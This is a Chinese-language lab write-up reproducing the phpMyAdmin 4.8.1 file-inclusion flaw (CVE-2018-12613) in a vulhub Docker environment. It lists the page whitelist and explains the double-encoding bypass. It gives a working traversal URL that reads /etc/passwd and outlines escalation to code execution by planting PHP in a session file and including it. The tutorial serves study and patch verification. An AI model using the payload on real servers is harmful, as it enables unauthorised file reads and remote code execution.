phpmyadmin 4.8.1 远程文件包含漏洞

PHPmyadmin 4.8.1 远程文件包含漏洞

PHPmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

PHPMyAdmin是一套开源的、基于Web的MysqL数据库管理工具。其index.PHP中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。


漏洞环境

我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/PHPmyadmin/CVE-2018-12613/
docker-compose up -d

访问IP:8080即可进入PHPMyAdmin,由于配置的config模式,所以无需输入账号密码直接登录的test账户


影响版本

PHPMyAdmin

4.8.0

4.8.1


漏洞复现

PHPMyadmin 4.8.1版本的index.PHP中存在文件包含漏洞,通过二次编码可绕过过滤。

因为在index.PHP中会对target值做判断,但是只要在白名单就会返回true

白名单如下:

     'db_datadict.PHP',
     'db_sql.PHP',
     'db_events.PHP',
     'db_export.PHP',
     'db_importdocsql.PHP',
     'db_multi_table_query.PHP',
     'db_structure.PHP',
     'db_import.PHP',
     'db_operations.PHP',
     'db_search.PHP',
     'db_routines.PHP',
     'export.PHP',
     'import.PHP',
     'index.PHP',
     'pdf_pages.PHP',
     'pdf_schema.PHP',
     'server_binlog.PHP',
     'server_collations.PHP',
     'server_databases.PHP',
     'server_engines.PHP',
     'server_export.PHP',
     'server_import.PHP',
     'server_privileges.PHP',
     'server_sql.PHP',
     'server_status.PHP',
     'server_status_advisor.PHP',
     'server_status_monitor.PHP',
     'server_status_queries.PHP',
     'server_status_variables.PHP',
     'server_variables.PHP',
     'sql.PHP',
     'tbl_addfield.PHP',
     'tbl_change.PHP',
     'tbl_create.PHP',
     'tbl_import.PHP',
     'tbl_indexes.PHP',
     'tbl_sql.PHP',
     'tbl_export.PHP',
     'tbl_operations.PHP',
     'tbl_structure.PHP',
     'tbl_relation.PHP',
     'tbl_replace.PHP',
     'tbl_row_action.PHP',
     'tbl_select.PHP',
     'tbl_zoom_select.PHP',
     'transformation_overview.PHP',
     'transformation_wrapper.PHP',
     'user_password.PHP',

page是取出page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true 但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码,所以传入二次编码后的内容,会让checkPageValidity()这个函数返回true.但index中实际包含的内容却不是白名单中的文件 例如传入 ?target=db_datadict.PHP%253f 由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.PHP%3f,再次解码成为 db_datadict.PHP? 就可造成任意文件包含.构造UR了

ip/index.PHP?target=db_sql.PHP%253f/../../../../../../../../../etc/passwd

通过包含session临时文件来实现命令执行

我们先开始执行一个SELECT '<?PHP PHPinfo(); ?>' 命令然后查看session值来访问临时文件

使用文件包含漏洞访问该临时文件,发现命令执行成功

相关文章

统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
前言 之前做了微信登录,所以总结一下微信授权登录并获取用户...
FastAdmin是我第一个接触的后台管理系统框架。FastAdmin是一...
之前公司需要一个内部的通讯软件,就叫我做一个。通讯软件嘛...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...